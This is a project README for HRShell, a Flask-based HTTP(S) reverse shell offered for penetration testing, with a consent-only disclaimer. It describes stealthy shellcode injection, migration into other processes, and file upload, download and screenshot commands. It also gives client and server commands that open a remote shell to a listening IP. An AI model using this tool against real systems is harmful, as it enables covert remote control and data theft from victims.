HRShell – An Advanced HTTPS/HTTP Reverse Shell Built With Flask

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HRShell: An advanced HTTP(S) Reverse Shell built with Flask

HRShell is an HTTPS/HTTP reverse shell built with flask. It’s compatible with python 3.x and has been successfully tested on:

• Linux ubuntu 18.04 LTS, Kali Linux 2019.3
• macOS Mojave
• Windows 7/10

Features

• It’s stealthy
• TLS support
  • Either using on-the-fly certificates or
  • By specifying a cert/key pair (more details below…)
• Shellcode injection (more details below…)
  • Either shellcode injection in a thread of the current running process
    • Platforms supported so far:
      • Windows x86
      • Unix x86
      • Unix x64
  • or shellcode injection into another process (migrate <PID>) by specifying its PID
    • Platforms supported so far:
      • Windows x86
      • Windows x64
• Proxy support on client.
• Directory navigation (cd command and variants).
• download/upload/screenshot commands available.
• Pipelining (|) & chained commands (;) are supported
• Support for every non-interactive (like gdb, top etc…) command
• Server is both HTTP & HTTPS capable.
• It comes with two built-in servers so far… flask built-in & tornado-WSGI while it’s also compatible with other production servers like gunicorn and Nginx.
• Both server.py and client.py are easily extensible.
• Since the most functionality comes from server’s endpoint-design it’s very easy to write a client in any other language e.g. java, GO etc…

_{*For version changes check-out CHANGELOG.}

Details

TLS 
Server-side: Unless --http option is specified, by default server.py is HTTPS using on-the-fly certificates, since on-the-fly certificates are a built-in flask-feature. But if -s tornado option is specified in order to make the server use TLS, a --cert and a --key option must be specified like so:

python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Either “real” certificates can be used or another way to generate a cert/key pair is using openssl like so:

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

A cert/key pair can also be used with the flask-server:

python server.py --cert /path/cert.pem --key /path/key.pem

If the server is using TLS, then by design the client can’t use http://... to connect to the server, but must explicitly use https instead.

Client-side: By default client’s SSL verification is disabled, unless:

• either the --cert parameter is specified e.g.:

  python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem

• or the CERT variable, instead of the default None value is set beforehand with a valid certificate e.g.:

  CERT = """
  -----BEGIN CERTIFICATE-----
  MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
  BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
  VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
  ...
  -----END CERTIFICATE-----
  """

  In this case client.py will attempt to create a hidden .cert.pem file on the fly and will use that instead.

Shellcode injection
There are two “modes” of shellcode injection using the two following commands respectively:

1. inject shellcode: Using this command a new thread of our current process is created and the shellcode injection occurs in its memory space. As a result our HTTP(S) shell is not affected by the injection. The platforms where this command can be applied are: Unix x86/x64, Windows x86 platforms!
2. migrate <PID>: Using this command we can inject shellcode into the memory space of another process by specifying its PID. For now this command can only be applied at Windows x86/x64 platforms!

Notes

• A basic prerequisite for the injection to work is to have set shellcode variable, on client.py, to a valid shellcode.
• In case the injection happens on a process, then process-permissions play a very important role. It’s not always possible to inject on any process due to lack of appropriate privileges.

Available commands:
Special commands:

upload <file or path-to-file>: uploads a file to the client
download <file or path-to-file>: downloads a file from the client
screenshot: downloads a screenshot from the client and then deletes it
migrate <PID>: attempts to inject shellcode on the process with the specific PID
inject shellcode: injects shellcode into a thread of current process
clear: clears the screen (it's the same for both unix and windows systems)
exit: closes the connection with the client

Any other command is supported if it’s not interactive like e.g. gdb, top etc… Also by typing python server.py -h or python client.py -h you can get information the server and client available arguments.
Note: If a client is connected with the server and we want to terminate the server, before press CTRL+C, we have to close the connection using the exit command.

Creating custom commands
Client-side:
In order to create a custom command, generally:

• a regex rule that describes the command must be defined on client-side
• the code to handle that command must be added as an elif statement also on client-side.

Server-side:
If the command demands the existence of a new-endpoint on server-side, then:

• to define the endpoint:

  @app.route('/custom_endpoint/<arg>')
  def custom_endpoint(arg):
      """
      documentation if needed
      """
      ...
      return ...

• then edit handleGET() to redirect the client to that endpoint:

  @app.route('/')
  def handleGET():
      ...
      return redirect(url_for('custom_endpoint',
          arg=...)
          )

• do the appropriate edits in handlePOST() to handle the presentation of the results.

Script-Arguments
Both scripts (server.py and client.py) can be customized through arguments:
server.py

$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
-h, --help show this help message and exit
-s , --server Specify the HTTP(S) server to use (default: flask).
-c , --client Accept connections only from the specified client/IP.
--host Specify the IP to use (default: 0.0.0.0).
-p , --port Specify a port to use (default: 5000).
--http Disable TLS and use HTTP instead.
--cert Specify a certificate to use (default: None).
--key Specify the corresponding private key to use (default: None).

client.py

$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
-h, --help show this help message and exit
-s , --server Specify an HTTP(S) server to connect to.
-c , --cert Specify a certificate to use.
-p , --proxy Specify a proxy to use [form: host:port]

Requirements:
Note: To install the server-requirements:
pip install -r requirements.txt --upgrade --user

TODO

• Add more commands and features.
• Fix potential bugs.

Contributions & Feedback
Feedback and contributions are welcome. If you find any bug or have a feature request feel free to open an issue, and as soon as I review it I’ll try to fix it.

Disclaimer

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software in general.

Credits & References

• Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
• PyShellCode
• A great article found here.
• The HRShell logo is made with fontmeme.com!

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